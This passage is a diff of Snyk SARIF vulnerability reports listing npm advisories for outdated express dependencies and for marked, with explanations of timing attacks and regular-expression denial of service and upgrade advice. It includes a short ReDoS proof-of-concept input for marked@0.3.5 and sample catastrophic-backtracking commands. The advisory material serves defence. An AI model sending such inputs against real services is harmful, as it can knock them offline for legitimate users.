Vulnerable module: cookie-signature\n* Introduced through: tsc@1.0.0, express@4.0.0 and others\n### Detailed paths\n* _Introduced through_: tsc@1.0.0 › express@4.0.0 › cookie-signature@1.0.3\n# Overview\r\n['cookie-signature'](https://www.npmjs.com/package/cookie-signature) is a library for signing cookies.\r\n\r\nVersions before `1.0.4` of the library use the built-in string comparison mechanism, `===`, and not a time constant string comparison. As a result, the comparison will fail faster when the first characters in the token are incorrect.\r\nAn attacker can use this difference to perform a timing attack, essentially allowing them to guess the secret one character at a time.\r\n\r\nYou can read more about timing attacks in Node.js on the Snyk blog: https://snyk.io/blog/node-js-timing-attack-ccc-ctf/\r\n\r\n# Remediation\r\nUpgrade to `1.0.4` or greater.\r\n\r\n# References\r\n- [GitHub History](https://github.com/tj/node-cookie-signature/blob/master/History.md#104--2014-06-25)\r\n- [GitHub Commit](https://github.com/tj/node-cookie-signature/commit/39791081692e9e14aa62855369e1c7f80fbfd50e)" - }, - "properties": { - "tags": ["security", "CWE-208", "npm"], - "cvssv3_baseScore": 6.3, - "security-severity": "6.3" - } - }, - { - "id": "npm:fresh:20170908", - "shortDescription": { - "text": "High severity - Regular Expression Denial of Service (ReDoS) vulnerability in fresh" - }, - "fullDescription": { - "text": "(CVE-2017-16119) fresh@0.2.2" - }, - "help": { - "text": "", - "markdown": "* Package Manager: npm\n* Vulnerable module: fresh\n* Introduced through: tsc@1.0.0, express@4.0.0 and others\n### Detailed paths\n* _Introduced through_: tsc@1.0.0 › express@4.0.0 › fresh@0.2.2\n* _Introduced through_: tsc@1.0.0 › express@4.0.0 › send@0.2.0 › fresh@0.2.2\n* _Introduced through_: tsc@1.0.0 › express@4.0.0 › serve-static@1.0.1 › send@0.1.4 › fresh@0.2.0\n# Overview\r\n[`fresh`](https://www.npmjs.com/package/fresh) is HTTP response freshness testing.\r\n\r\nAffected versions of this package are vulnerable to Regular expression Denial of Service (ReDoS) attacks. A Regular Expression (`/ *, */`) was used for parsing HTTP headers and take about 2 seconds matching time for 50k characters.\r\n\r\n# Details\r\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\r\n\r\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\r\n\r\nLet’s take the following regular expression as an example:\r\n```js\r\nregex = /A(B|C+)+D/\r\n```\r\n\r\nThis regular expression accomplishes the following:\r\n- `A` The string must start with the letter 'A'\r\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\r\n- `D` Finally, we ensure this section of the string ends with a 'D'\r\n\r\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\r\n\r\nIt most cases, it doesn't take very long for a regex engine to find a match:\r\n\r\n```bash\r\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\r\n0.04s user 0.01s system 95% cpu 0.052 total\r\n\r\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\r\n1.79s user 0.02s system 99% cpu 1.812 total\r\n```\r\n\r\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\r\n\r\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\r\n\r\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\r\n1. CCC\r\n2. CC+C\r\n3. C+CC\r\n4. C+C+C.\r\n\r\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\r\n\r\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\r\n\r\n| String | Number of C's | Number of steps |\r\n| -------|-------------:| -----:|\r\n| ACCCX | 3 | 38\r\n| ACCCCX | 4 | 71\r\n| ACCCCCX | 5 | 136\r\n| ACCCCCCCCCCCCCCX | 14 | 65,553\r\n\r\n\r\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\r\n\r\n\r\n# Remediation\r\nUpgrade `fresh` to version 0.5.2 or higher.\n\n# References\n- [https://github.com/jshttp/fresh/commit/21a0f0c2a5f447e0d40bc16be0c23fa98a7b46ec](https://github.com/jshttp/fresh/commit/21a0f0c2a5f447e0d40bc16be0c23fa98a7b46ec)\n- [https://github.com/jshttp/fresh/issues/24](https://github.com/jshttp/fresh/issues/24)\n" - }, - "properties": { - "tags": ["security", "CWE-400", "npm"], - "cvssv3_baseScore": 7.5, - "security-severity": "7.5" - } - }, - { - "id": "npm:mime:20170907", - "shortDescription": { - "text": "Low severity - Regular Expression Denial of Service (ReDoS) vulnerability in mime" - }, - "fullDescription": { - "text": "(CVE-2017-16138) mime@1.2.11" - }, - "help": { - "text": "", - "markdown": "* Package Manager: npm\n* Vulnerable module: mime\n* Introduced through: tsc@1.0.0, express@4.0.0 and others\n### Detailed paths\n* _Introduced through_: tsc@1.0.0 › express@4.0.0 › accepts@1.0.0 › mime@1.2.11\n* _Introduced through_: tsc@1.0.0 › express@4.0.0 › send@0.2.0 › mime@1.2.11\n* _Introduced through_: tsc@1.0.0 › express@4.0.0 › type-is@1.0.0 › mime@1.2.11\n* _Introduced through_: tsc@1.0.0 › express@4.0.0 › serve-static@1.0.1 › send@0.1.4 › mime@1.2.11\n# Overview\n[mime](https://www.npmjs.com/package/mime) is a comprehensive, compact MIME type module.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It uses regex the following regex `/.*[\\.\\/\\\\]/` in its lookup, which can cause a slowdown of 2 seconds for 50k characters.\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\nUpgrade `mime` to version 1.4.1, 2.0.3 or higher.\n# References\n- [GitHub Commit](https://github.com/broofa/node-mime/commit/1df903fdeb9ae7eaa048795b8d580ce2c98f40b0)\n- [GitHub Commit](https://github.com/broofa/node-mime/commit/855d0c4b8b22e4a80b9401a81f2872058eae274d)\n- [GitHub Issue](https://github.com/broofa/node-mime/issues/167)\n- [NPM Security Advisory](https://www.npmjs.com/advisories/535)\n" - }, - "properties": { - "tags": ["security", "CWE-400", "npm"], - "cvssv3_baseScore": 3.7, - "security-severity": "3.7" - } - }, - { - "id": "npm:negotiator:20160616", - "shortDescription": { - "text": "High severity - Regular Expression Denial of Service (ReDoS) vulnerability in negotiator" - }, - "fullDescription": { - "text": "(CVE-2016-10539) negotiator@0.3.0" - }, - "help": { - "text": "", - "markdown": "* Package Manager: npm\n* Vulnerable module: negotiator\n* Introduced through: tsc@1.0.0, express@4.0.0 and others\n### Detailed paths\n* _Introduced through_: tsc@1.0.0 › express@4.0.0 › accepts@1.0.0 › negotiator@0.3.0\n# Overview\n\n[negotiator](https://npmjs.org/package/negotiator) is an HTTP content negotiator for Node.js.\n\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS)\nwhen parsing `Accept-Language` http header.\n\n# Details\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\r\n\r\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\r\n\r\nLet’s take the following regular expression as an example:\r\n```js\r\nregex = /A(B|C+)+D/\r\n```\r\n\r\nThis regular expression accomplishes the following:\r\n- `A` The string must start with the letter 'A'\r\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\r\n- `D` Finally, we ensure this section of the string ends with a 'D'\r\n\r\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\r\n\r\nIt most cases, it doesn't take very long for a regex engine to find a match:\r\n\r\n```bash\r\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\r\n0.04s user 0.01s system 95% cpu 0.052 total\r\n\r\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\r\n1.79s user 0.02s system 99% cpu 1.812 total\r\n```\r\n\r\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\r\n\r\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\r\n\r\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\r\n1. CCC\r\n2. CC+C\r\n3. C+CC\r\n4. C+C+C.\r\n\r\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\r\n\r\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\r\n\r\n| String | Number of C's | Number of steps |\r\n| -------|-------------:| -----:|\r\n| ACCCX | 3 | 38\r\n| ACCCCX | 4 | 71\r\n| ACCCCCX | 5 | 136\r\n| ACCCCCCCCCCCCCCX | 14 | 65,553\r\n\r\n\r\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\n\nUpgrade `negotiator` to version 0.6.1 or higher.\n\n\n# References\n\n- [GitHub Commit](https://github.com/jshttp/negotiator/commit/26a05ec15cf7d1fa56000d66ebe9c9a1a62cb75c)\n\n- [OWASP Advisory](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS)\n" - }, - "properties": { - "tags": ["security", "CWE-400", "npm"], - "cvssv3_baseScore": 7.5, - "security-severity": "7.5" - } - } - ] - } - }, - "automationDetails": { - "id": "Snyk/Open Source/tsc/2025-11-13T12:34:30.246Z" - }, - "results": [ - { - "ruleId": "SNYK-JS-COOKIE-8163060", - "level": "warning", - "message": { - "text": "This file introduces a vulnerable cookie package with a medium severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "tsc/package.json" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "cookie@0.1.0" - } - ] - } - ], - "fixes": [ - { - "description": { - "text": "Upgrade to express@4.21.1" - }, - "artifactChanges": [ - { - "artifactLocation": { - "uri": "tsc/package.json" - }, - "replacements": [ - { - "deletedRegion": { - "startLine": 1 - }, - "insertedContent": { - "text": "express@4.21.1" - } - } - ] - } - ] - } - ] - }, - { - "ruleId": "SNYK-JS-EXPRESS-6474509", - "level": "warning", - "message": { - "text": "This file introduces a vulnerable express package with a medium severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "tsc/package.json" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "express@4.0.0" - } - ] - } - ], - "fixes": [ - { - "description": { - "text": "Upgrade to express@4.19.2" - }, - "artifactChanges": [ - { - "artifactLocation": { - "uri": "tsc/package.json" - }, - "replacements": [ - { - "deletedRegion": { - "startLine": 1 - }, - "insertedContent": { - "text": "express@4.19.2" - } - } - ] - } - ] - } - ] - }, - { - "ruleId": "SNYK-JS-EXPRESS-7926867", - "level": "warning", - "message": { - "text": "This file introduces a vulnerable express package with a medium severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "tsc/package.json" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "express@4.0.0" - } - ] - } - ], - "fixes": [ - { - "description": { - "text": "Upgrade to express@4.20.0" - }, - "artifactChanges": [ - { - "artifactLocation": { - "uri": "tsc/package.json" - }, - "replacements": [ - { - "deletedRegion": { - "startLine": 1 - }, - "insertedContent": { - "text": "express@4.20.0" - } - } - ] - } - ] - } - ] - }, - { - "ruleId": "npm:express:20140912", - "level": "warning", - "message": { - "text": "This file introduces a vulnerable express package with a medium severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "tsc/package.json" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "express@4.0.0" - } - ] - } - ], - "fixes": [ - { - "description": { - "text": "Upgrade to express@4.5.0" - }, - "artifactChanges": [ - { - "artifactLocation": { - "uri": "tsc/package.json" - }, - "replacements": [ - { - "deletedRegion": { - "startLine": 1 - }, - "insertedContent": { - "text": "express@4.5.0" - } - } - ] - } - ] - } - ] - }, - { - "ruleId": "SNYK-JS-PATHTOREGEXP-7925106", - "level": "warning", - "message": { - "text": "This file introduces a vulnerable path-to-regexp package with a medium severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "tsc/package.json" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "path-to-regexp@0.1.2" - } - ] - } - ], - "fixes": [ - { - "description": { - "text": "Upgrade to express@4.20.0" - }, - "artifactChanges": [ - { - "artifactLocation": { - "uri": "tsc/package.json" - }, - "replacements": [ - { - "deletedRegion": { - "startLine": 1 - }, - "insertedContent": { - "text": "express@4.20.0" - } - } - ] - } - ] - } - ] - }, - { - "ruleId": "SNYK-JS-PATHTOREGEXP-8482416", - "level": "warning", - "message": { - "text": "This file introduces a vulnerable path-to-regexp package with a medium severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "tsc/package.json" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "path-to-regexp@0.1.2" - } - ] - } - ], - "fixes": [ - { - "description": { - "text": "Upgrade to express@4.21.2" - }, - "artifactChanges": [ - { - "artifactLocation": { - "uri": "tsc/package.json" - }, - "replacements": [ - { - "deletedRegion": { - "startLine": 1 - }, - "insertedContent": { - "text": "express@4.21.2" - } - } - ] - } - ] - } - ] - }, - { - "ruleId": "SNYK-JS-QS-3153490", - "level": "error", - "message": { - "text": "This file introduces a vulnerable qs package with a high severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "tsc/package.json" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "qs@0.6.6" - } - ] - } - ], - "fixes": [ - { - "description": { - "text": "Upgrade to express@4.17.3" - }, - "artifactChanges": [ - { - "artifactLocation": { - "uri": "tsc/package.json" - }, - "replacements": [ - { - "deletedRegion": { - "startLine": 1 - }, - "insertedContent": { - "text": "express@4.17.3" - } - } - ] - } - ] - } - ] - }, - { - "ruleId": "npm:qs:20140806", - "level": "error", - "message": { - "text": "This file introduces a vulnerable qs package with a high severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "tsc/package.json" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "qs@0.6.6" - } - ] - } - ], - "fixes": [ - { - "description": { - "text": "Upgrade to express@4.8.0" - }, - "artifactChanges": [ - { - "artifactLocation": { - "uri": "tsc/package.json" - }, - "replacements": [ - { - "deletedRegion": { - "startLine": 1 - }, - "insertedContent": { - "text": "express@4.8.0" - } - } - ] - } - ] - } - ] - }, - { - "ruleId": "npm:qs:20140806-1", - "level": "warning", - "message": { - "text": "This file introduces a vulnerable qs package with a medium severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "tsc/package.json" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "qs@0.6.6" - } - ] - } - ], - "fixes": [ - { - "description": { - "text": "Upgrade to express@4.8.0" - }, - "artifactChanges": [ - { - "artifactLocation": { - "uri": "tsc/package.json" - }, - "replacements": [ - { - "deletedRegion": { - "startLine": 1 - }, - "insertedContent": { - "text": "express@4.8.0" - } - } - ] - } - ] - } - ] - }, - { - "ruleId": "npm:qs:20170213", - "level": "error", - "message": { - "text": "This file introduces a vulnerable qs package with a high severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "tsc/package.json" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "qs@0.6.6" - } - ] - } - ], - "fixes": [ - { - "description": { - "text": "Upgrade to express@4.15.2" - }, - "artifactChanges": [ - { - "artifactLocation": { - "uri": "tsc/package.json" - }, - "replacements": [ - { - "deletedRegion": { - "startLine": 1 - }, - "insertedContent": { - "text": "express@4.15.2" - } - } - ] - } - ] - } - ] - }, - { - "ruleId": "SNYK-JS-SEND-7926862", - "level": "note", - "message": { - "text": "This file introduces a vulnerable send package with a low severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "tsc/package.json" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "send@0.2.0" - } - ] - } - ], - "fixes": [ - { - "description": { - "text": "Upgrade to express@4.20.0" - }, - "artifactChanges": [ - { - "artifactLocation": { - "uri": "tsc/package.json" - }, - "replacements": [ - { - "deletedRegion": { - "startLine": 1 - }, - "insertedContent": { - "text": "express@4.20.0" - } - } - ] - } - ] - } - ] - }, - { - "ruleId": "npm:send:20140912", - "level": "warning", - "message": { - "text": "This file introduces a vulnerable send package with a medium severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "tsc/package.json" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "send@0.2.0" - } - ] - } - ], - "fixes": [ - { - "description": { - "text": "Upgrade to express@4.8.8" - }, - "artifactChanges": [ - { - "artifactLocation": { - "uri": "tsc/package.json" - }, - "replacements": [ - { - "deletedRegion": { - "startLine": 1 - }, - "insertedContent": { - "text": "express@4.8.8" - } - } - ] - } - ] - } - ] - }, - { - "ruleId": "npm:send:20151103", - "level": "warning", - "message": { - "text": "This file introduces a vulnerable send package with a medium severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "tsc/package.json" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "send@0.2.0" - } - ] - } - ], - "fixes": [ - { - "description": { - "text": "Upgrade to express@4.11.1" - }, - "artifactChanges": [ - { - "artifactLocation": { - "uri": "tsc/package.json" - }, - "replacements": [ - { - "deletedRegion": { - "startLine": 1 - }, - "insertedContent": { - "text": "express@4.11.1" - } - } - ] - } - ] - } - ] - }, - { - "ruleId": "SNYK-JS-SERVESTATIC-7926865", - "level": "note", - "message": { - "text": "This file introduces a vulnerable serve-static package with a low severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "tsc/package.json" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "serve-static@1.0.1" - } - ] - } - ], - "fixes": [ - { - "description": { - "text": "Upgrade to express@4.20.0" - }, - "artifactChanges": [ - { - "artifactLocation": { - "uri": "tsc/package.json" - }, - "replacements": [ - { - "deletedRegion": { - "startLine": 1 - }, - "insertedContent": { - "text": "express@4.20.0" - } - } - ] - } - ] - } - ] - }, - { - "ruleId": "npm:serve-static:20150113", - "level": "note", - "message": { - "text": "This file introduces a vulnerable serve-static package with a low severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "tsc/package.json" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "serve-static@1.0.1" - } - ] - } - ], - "fixes": [ - { - "description": { - "text": "Upgrade to express@4.9.0" - }, - "artifactChanges": [ - { - "artifactLocation": { - "uri": "tsc/package.json" - }, - "replacements": [ - { - "deletedRegion": { - "startLine": 1 - }, - "insertedContent": { - "text": "express@4.9.0" - } - } - ] - } - ] - } - ] - }, - { - "ruleId": "npm:cookie-signature:20160804", - "level": "warning", - "message": { - "text": "This file introduces a vulnerable cookie-signature package with a medium severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "tsc/package.json" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "cookie-signature@1.0.3" - } - ] - } - ], - "fixes": [ - { - "description": { - "text": "Upgrade to express@4.4.5" - }, - "artifactChanges": [ - { - "artifactLocation": { - "uri": "tsc/package.json" - }, - "replacements": [ - { - "deletedRegion": { - "startLine": 1 - }, - "insertedContent": { - "text": "express@4.4.5" - } - } - ] - } - ] - } - ] - }, - { - "ruleId": "npm:fresh:20170908", - "level": "error", - "message": { - "text": "This file introduces a vulnerable fresh package with a high severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "tsc/package.json" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "fresh@0.2.2" - } - ] - } - ], - "fixes": [ - { - "description": { - "text": "Upgrade to express@4.15.5" - }, - "artifactChanges": [ - { - "artifactLocation": { - "uri": "tsc/package.json" - }, - "replacements": [ - { - "deletedRegion": { - "startLine": 1 - }, - "insertedContent": { - "text": "express@4.15.5" - } - } - ] - } - ] - } - ] - }, - { - "ruleId": "npm:mime:20170907", - "level": "note", - "message": { - "text": "This file introduces a vulnerable mime package with a low severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "tsc/package.json" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "mime@1.2.11" - } - ] - } - ], - "fixes": [ - { - "description": { - "text": "Upgrade to express@4.4.4" - }, - "artifactChanges": [ - { - "artifactLocation": { - "uri": "tsc/package.json" - }, - "replacements": [ - { - "deletedRegion": { - "startLine": 1 - }, - "insertedContent": { - "text": "express@4.4.4" - } - } - ] - } - ] - } - ] - }, - { - "ruleId": "npm:negotiator:20160616", - "level": "error", - "message": { - "text": "This file introduces a vulnerable negotiator package with a high severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "tsc/package.json" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "negotiator@0.3.0" - } - ] - } - ], - "fixes": [ - { - "description": { - "text": "Upgrade to express@4.14.0" - }, - "artifactChanges": [ - { - "artifactLocation": { - "uri": "tsc/package.json" - }, - "replacements": [ - { - "deletedRegion": { - "startLine": 1 - }, - "insertedContent": { - "text": "express@4.14.0" - } - } - ] - } - ] - } - ] - } - ] - } - ] -} + + { + "$schema": "https://docs.oasis-open.org/sarif/sarif/v2.1.0/errata01/os/schemas/sarif-schema-2.1.0.json", + "version": "2.1.0", + "runs": [ + { + "tool": { + "driver" : { + "name" : "Snyk Open Source", + "semanticVersion" : "1.1301.0", + "version" : "1.1301.0", + "informationUri" : "https://docs.snyk.io/", + "rules" : [ + { + "id": "SNYK-JS-MARKED-2342082", + "shortDescription": { + "text": "Medium severity - Regular Expression Denial of Service (ReDoS) vulnerability in marked" + }, + "fullDescription": { + "text": "(CVE-2022-21680) marked@0.3.5" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: marked\n* Introduced through: goof@1.0.1 and marked@0.3.5\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › marked@0.3.5\n# Overview\n[marked](https://marked.js.org/) is a low-level compiler for parsing markdown without caching or blocking for long periods of time.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when unsanitized user input is passed to `block.def`.\r\n\r\n# PoC\r\n```js\r\nimport * as marked from \"marked\";\r\nmarked.parse(`[x]:${' '.repeat(1500)}x ${' '.repeat(1500)} x`);\r\n```\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this 